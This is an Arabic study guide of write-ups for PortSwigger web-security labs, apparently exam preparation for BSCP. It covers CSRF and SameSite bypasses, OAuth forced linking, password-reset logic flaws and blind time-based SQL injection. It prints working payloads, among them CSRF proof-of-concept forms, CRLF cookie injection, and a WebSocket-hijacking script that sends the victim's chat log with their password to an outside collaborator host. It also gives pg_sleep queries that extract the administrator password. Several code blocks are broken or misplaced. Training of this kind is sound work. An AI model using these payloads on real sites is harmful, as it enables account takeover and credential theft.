ثغرة تزوير الطلبات عبر المواقع (Cross-Site Request Forgery) تسمح للمهاجم بإجبار المستخدمين على تنفيذ إجراءات لم يعتزموا القيام بها. يمكن أن تمكن هذه الثغرة المهاجم من تغيير عنوان البريد الإلكتروني للضحية واستخدام إعادة تعيين كلمة المرور للاستيلاء على الحساب.
ربط OAuth عبر استغلال خادم يستضيف iframe، ثم تسليمه إلى الضحية، مما يجبر المستخدم على تحديث الكود المرتبط.

اعترض طلب GET /oauth-linking?code=[...]. أرسله إلى Repeater لحفظ الكود. أسقط الطلب. من المهم التأكد من أن الكود غير مستخدم ويظل صالحًا. احفظ على خادم الاستغلال iframe حيث تشير سمة
srcإلى العنوان الذي نسخته للتو.```html
[مختبر PortSwigger: الربط القسري لملف OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### التحقق من Referer في CSRF
>***حدد*** أن وظيفة تغيير البريد الإلكتروني معرضة لـ CSRF من خلال ملاحظة أنه عند تغيير قيمة ترويسة **Referer**، يعطي الرد رسالة، `Invalid referer header`، ويتم قبول تغيير البريد الإلكتروني عندما تحتوي قيمة المُحيل على النطاق المستهدف المتوقع في مكان ما في القيمة.

>إضافة النطاق الأصلي للهدف وإلحاق `history.pushState('', '', '/?TARGET.net');` بـ **ترويسة Referer** في شكل سلسلة استعلام، يسمح بتحديث البريد الإلكتروني.```html
Referrer-Policy: unsafe-url
ملاحظة: على عكس التهجئة المعتادة لترويسة Referer، يجب تهجئة الكلمة "referrer" بشكل صحيح في قسم
headأعلاه من خادم الاستغلال.

``` >عندما يتم تسليم حمولة الاستغلال أعلاه إلى الضحية، تقوم حمولة CSRF POC بتغيير بريد الضحية الإلكتروني إلى **[email protected]**، لأن رأس Referer احتوى على الهدف في القيمة. في اختبار ***BSCP***، دوّن عنوان البريد الإلكتروني لخادم ```hacker@exploit``` الخاص بك لاستخدامه في الاستيلاء على الحساب.أنشئ استغلال CSRF كإثبات للمفهوم واستضفه على خادم الاستغلال. عدّل JavaScript بحيث تتضمن الوسيطة الثالثة للدالة history.pushState() سلسلة استعلام مع عنوان URL الهدف.```html
PortSwigger Lab: CSRF with broken Referer validation
``` >هذا استغلال تفاعلي، وفي اختبار BSCP إذا كان استغلال المرحلة الأولى غير تفاعلي، فيمكن استخدامه للحصول على تفاعل المسؤولة من خلال نقرها على الرابط لتغيير كلمة المرور الخاصة بها. لاحظ: افحص `source code` لصفحة تغيير البريد الإلكتروني بحثًا عن أي قيم إضافية لمعرّف النموذج.في طلب تحديث البريد الإلكتروني، عند تغيير رأس
referer، تشير الاستجابة إلىInvalid referer header، مما يكشف ثغرة CSRF. باستخدام<meta name="referrer" content="no-referrer">كجزء من CSRF PoC على خادم الاستغلال، يمكن تجاوز هذا التحكم. يوجّه هذا خادم الاستغلال لتسليم الاستغلال إلى الضحية بدون رأسreferer.```html

مختبر PortSwigger: CSRF حيث يعتمد التحقق من Referer على وجود الترويسة
حدد ثغرة CSRF حيث لا يكون الرمز المميز مرتبطًا بملف تعريف ارتباط غير تابع للجلسة، عن طريق تغيير ملف تعريف الارتباط csrfkey وملاحظة النتيجة أن الطلب مرفوض. لاحظ قيمة ملف تعريف الارتباط LastSearchTerm التي تحتوي على إدخال المستخدم المقدم من معامل البحث.

وظيفة البحث لا تحتوي على حماية CSRF، أنشئ الحمولة أدناه التي تحقن أحرف سطر جديد
%0d%0aلتعيين قيمة ملف تعريف ارتباط جديدة في الاستجابة، واستخدم ذلك لحقن ملفات تعريف الارتباط في متصفح المستخدم الضحية.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
> قم بإنشاء CSRF POC، وفعّل خيار تضمين سكربت **الإرسال التلقائي**، ثم انقر على **إعادة التوليد**. أزل كتلة سكربت **الإرسال التلقائي** وأضف ما يلي بدلاً منها، وضع سكربت ```history.pushState``` أسفل ترويسة body. سيقوم **onerror** في وسم IMG SRC بدلاً من ذلك بإرسال CSRF POC.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
خلال امتحان BSCP، اضبط قيمة تغيير البريد الإلكتروني على عنوان البريد الإلكتروني لخادم الاستغلال [email protected]. بعد ذلك يمكنك تغيير كلمة مرور المسؤول باستخدام وظيفة إعادة التعيين.

في كود CSRF PoC أدناه، قيمة csrf المخفية هي تلك التي يولّدها وظيفة تغيير البريد الإلكتروني، وقيمة csrfkey في
img srcهي قيمة الضحية، التي تم الحصول عليها عن طريق تسجيل الدخول كضحية باستخدام بيانات الاعتماد المقدمة. لست متأكدًا في الامتحان، لكن في العالم الحقيقي هذا اختبار يجب إجراؤه.```html
في الهدف نحدد أن رمز مفتاح CSRF مكرر في قيمة ملف تعريف الارتباط. وهناك مؤشر آخر هو أن ملف تعريف الارتباط
LastSearchTermيحتوي على القيمة التي تم البحث عنها. من خلال إعطاء قيمة بحث تحتوي على%0d%0aيمكننا حقن أحرف نهاية السطر وسطر جديد لإنشاء ملف تعريف ارتباط وقيمة CSRF جديدين.

في كود الاستغلال، نقوم في وسم
img srcبتعيين ملف تعريف الارتباط csrf إلى قيمة وهمية.```html
PortSwigger Lab: CSRF where token is duplicated in cookie
تغيير قيمة معامل
csrfيؤدي إلى رفض طلب تغيير البريد الإلكتروني. حذف رمز CSRF يسمح بقبول تغيير البريد الإلكتروني، وهذا يحدد أن التحقق من وجود الرمز معرض للخطر.
``` حمولة PoC الخاصة بـ CSRF المستضافة على خادم الاستغلال:```html
مختبر PortSwigger: CSRF حيث يعتمد التحقق من الرمز على وجود الرمز
إذا تم تحديد ملف تعريف ارتباط بالاسم isloggedin، فمن الممكن استغلال طلب POST لتحديث كلمة مرور المسؤول.
غيّر معامل اسم المستخدم إلى administrator أثناء تسجيل الدخول كمستخدم بصلاحيات منخفضة.
رمز CSRF غير مرتبط بجلسة المستخدم.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF بدون دفاعات
>الهدف الذي لا يملك دفاعات ضد وظيفة تغيير البريد الإلكتروني قد يسمح بتصعيد الامتيازات إلى دور المدير. في الاختبار، تغيير البريد الإلكتروني إلى عنوان `[email protected]` على خادم الاستغلال يمكن أن يسمح للمهاجم بتغيير كلمة مرور المستخدم المدير، مما يؤدي إلى تصعيد الامتيازات.
>في الاختبار يوجد مستخدم نشط ***واحد*** فقط، وإذا تم إكمال المرحلة السابقة باستخدام هجوم لا يتطلب إجبار المستخدم النشط على النقر على رابط عبر تنفيذ تسميم ذاكرة التخزين المؤقت أو تنفيذ هجوم تصيد عبر وظيفة `Deliver to Victim`، فيمكن استخدام استغلال تغيير CSRF.

[PortSwigger Lab: ثغرة CSRF بدون دفاعات](https://portswigger.net/web-security/csrf/lab-no-defenses)
### تجاوز SameSite الصارم
>في وظيفة الدردشة المباشرة، نلاحظ أن طلب `GET /chat HTTP/2` لا يستخدم أي رموز غير قابلة للتنبؤ، وهذا يمكن أن ***يحدد*** ثغرة محتملة في [اختراق WebSocket عبر المواقع](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) إذا كان من الممكن تجاوز قيد ملفات تعريف الارتباط [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).
>استضف على خادم الاستغلال حمولة POC لتحديد ***ثغرة CSWSH***.```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
يتم تعيين
SameSite=Strictلملفات تعريف الارتباط الخاصة بالجلسة، وهذا يمنع المتصفح من تضمين هذه الملفات في طلبات XSS عبر المواقع. لقد حددنا رأسAccess-Control-Allow-Originفي الطلبات الإضافية للبرامج النصية والصور إلى نطاق فرعي فيcms-.
من خلال التصفح إلى نطاق CDN الفرعي هذا فيcms-ثم تحديد أن إدخال اسم المستخدم العشوائي ينعكس، تم تأكيد أن هذه ثغرة XSS منعكسة.
تجاوز samesite لـ xss المنعكس في cms``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>تجاوز قيود SameSite عن طريق ترميز URL للسكربت أدناه بالكامل واستخدامه كمدخل إلى النطاق الفرعي CDN الخاص بتسجيل دخول اسم المستخدم `cms-`، المستضاف على خادم الاستغلال.```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
استضف ما يلي على خادم الاستغلال وسلّمه إلى الضحية، وبمجرد أن يتلقى المتعاون سجل محادثات الضحية مع كلمة مرورها، ينتج عن ذلك الاستيلاء على الحساب.```
>يحتوي سجل الدردشة على كلمة مرور الضحية.

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### تجاوز SameSite Lax
>لاحظ أنه إذا قمت بزيارة `/social-login`، فسيؤدي ذلك تلقائيًا إلى بدء تدفق OAuth الكامل. إذا كان لا يزال لديك جلسة مسجلة الدخول مع خادم OAuth، فسيحدث كل هذا دون أي تفاعل.، وفي سجل الوكيل، لاحظ أنه في كل مرة تكمل فيها تدفق OAuth، يضع الموقع الهدف ملف تعريف ارتباط جلسة جديدًا حتى لو كنت مسجلاً الدخول بالفعل.
>قم بتجاوز مانع النوافذ المنبثقة، لحث الضحية على النقر على الصفحة، ولا تُفتح النافذة المنبثقة إلا بعد أن تنقر الضحية، باستخدام JavaScript التالي. يقوم كود JavaScript الخاص بالاستغلال أولاً بتحديث جلسة الضحية عن طريق إجبار متصفحها على زيارة `/social-login`، ثم يرسل طلب تغيير البريد الإلكتروني بعد توقف قصير. سلّم الاستغلال إلى الضحية.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
مختبر PortSwigger: تجاوز SameSite Lax عبر تحديث ملفات تعريف الارتباط
منطق إعادة تعيين كلمة المرور المعطوب
كلمة المرور الحالية
رموز كلمة المرور الحساسة للوقت
إذا كانت ميزة إعادة تعيين كلمة المرور في التطبيق معيبة، يمكن استغلال هذه الثغرة لتحديد الحسابات الصالحة أو الحصول على رمز إعادة تعيين كلمة المرور. ويمكن أن يؤدي هذا إلى تحديد حسابات المستخدمين الصالحة أو تصعيد الامتيازات.
هذا هو نوع الثغرات الذي لا يتطلب مستخدمًا نشطًا على التطبيق للتفاعل مع الاستغلال، ودون أي نقرة من المستخدم على رابط أو أي تفاعل. دوّن ملاحظة حول الثغرات التي لا تتطلب مستخدمًا نشطًا على التطبيق في اختبار BSCP، لأن هذا يعني أنه في المرحلة التالية من الاختبار يمكن استخدام مثلًا روابط أخرى للتصيد التفاعلي تُرسل إلى الضحية.
حدد في
source codeلصفحة/forgot-passwordأن اسم المستخدم هو حقل مخفي.

استغل طلب POST بحذف معامل
temp-forgot-password-tokenفي كلٍّ من عنوان URL ونص الطلب. غيّر معامل username إلىcarlos.

مختبر PortSwigger: منطق إعادة تعيين كلمة المرور المعطوب
حدد أن تغيير كلمة المرور لا يحتاج إلى معامل
current-passwordلتعيين كلمة مرور جديدة، وأن المستخدم الذي سيتم تغيير كلمة مروره يعتمد على معامل POSTusername=administrator
في مختبرات PortSwigger يتم تزويدك ببيانات اعتمادwiener:peter، وهذا يحاكي في المرحلة 1 من الاختبار تحقيق وصول مستخدم منخفض المستوى. وفي الاختبار، تُعد ثغرة إعادة تعيين كلمة المرور هذه مثالًا على كيفية تصعيد وصولك إلى مستوى المشرف دون تفاعل من مستخدم نشط.
اعترض طلب
/my-account/change-passwordحيث أن رمزcsrfهو قيمة عشوائية تُستخدم مرة واحدة، واضبطusername=administratorوأزل معاملcurrent-password.

مختبر PortSwigger: عزل ضعيف على نقطة نهاية مزدوجة الاستخدام
يستخدم الموقع المستهدف طوابع زمنية لتوليد عنوان URL لرمز إعادة تعيين كلمة المرور بشكل مُجزّأ (hash).
من خلال إرسال طلبات إعادة تعيين كلمة المرور القسرية بالتوازي لمستخدمين مختلفين في الوقت نفسه،
سينتج عن ذلك رموز متطابقة مكررة لأن الواجهة الخلفية تستخدم الطابع الزمني نفسه لتوليد رموز إعادة التعيين.
يتلقى المستخدم الخاص بنا
carlosعنوان URL لرمز إعادة التعيين في بريده الإلكتروني، ثم يعدّل الاسم في العنوان ليطابق المستخدم الضحية المستهدفadministrator.

المرجع: ملاحظات دراسية من API University ومختبرات PortSwigger
التأخير الزمني الأعمى
حقن SQL الأعمى
حقن SQL الأعمى بدون مؤشرات
حقن SQL الأعمى بالاستجابة الشرطية
Oracle
SQLMAP
حقن SQL اليدوي لغير Oracle
حقن SQL المرئي القائم على الأخطاء
أساسيات حقن SQL من HackTheBox CPTS
ثغرات حقن SQL القائمة على الأخطاء أو العمياء تسمح باستخدام استعلامات SQL في التطبيق لاستخراج البيانات أو بيانات اعتماد تسجيل الدخول من قاعدة البيانات. ويُستخدم SQLMAP لتسريع الاستغلال واسترجاع المعلومات الحساسة.
حدد وجود SQLi بإضافة علامة اقتباس مزدوجة (") أو مفردة (') إلى معاملات الويب أو ملفات تعريف الارتباط الخاصة بالتتبع. إذا كسر ذلك صيغة SQL وأدى إلى استجابة برسالة خطأ، فقد تم تحديد حقن SQL إيجابي. وإذا لم تُلاحظ أي رسالة خطأ أو استجابة شرطية، فاختبر حمولات التأخير الزمني الأعمى.

إن حقن SQL الأعمى مع التأخير الزمني أمر صعب تحديده، حيث تتضمن عملية Fuzzing تخمينًا مدروسًا كما علمتني OffSec أيضًا في OSCP. ستنفّذ الحمولة أدناه حالة شرطية لتأخير الاستجابة بمقدار 10 ثوانٍ إذا تم تحديد حقن SQL إيجابي.
حدد ثغرة SQLi. في اختبار Burp التجريبي - المرحلة 2 تكون عوامل تصفية البحث المتقدم معرّضة لحقن
PostgreSQL. وجدت أنSQLMAPمن الصعب استخدامه لتحديد واستغلال ثغرة الاختبار التجريبي في البحث المتقدم. الاستغلال اليدوي لتأخير وقت حقن SQL موضح في الاختبار التجريبي هنا.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[مُرمَّز بعنوان URL](https://www.urlencoder.org/) حمولة `PostgreSQL`.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
حدد عدد الأحرف الموجودة في كلمة مرور مستخدم المسؤول. للقيام بذلك، قم بزيادة الرقم بعد الفحص الشرطي
>1.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>باستخدام هجوم CLUSTER Bomb لإعادة تشغيل الهجوم لكل تباديل مواضع الأحرف في كلمة المرور، ولتحديد قيمة الحرف.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
باستخدام نوع هجوم القنبلة العنقودية CLUSTER bomb مع حمولتين، الأولى لطول كلمة المرور
1..20والثانية باستخدام الأحرفa..zوالأرقام0..9. أضف عمود الاستجابة المستلمة إلى نتائج هجوم Intruder للفرز بناءً عليه ولاحظ التأخير البالغ10ثوانٍ أو أكثر كاستجابة إيجابية.

مختبر PortSwigger: حقن SQL أعمى مع تأخيرات زمنية واسترجاع المعلومات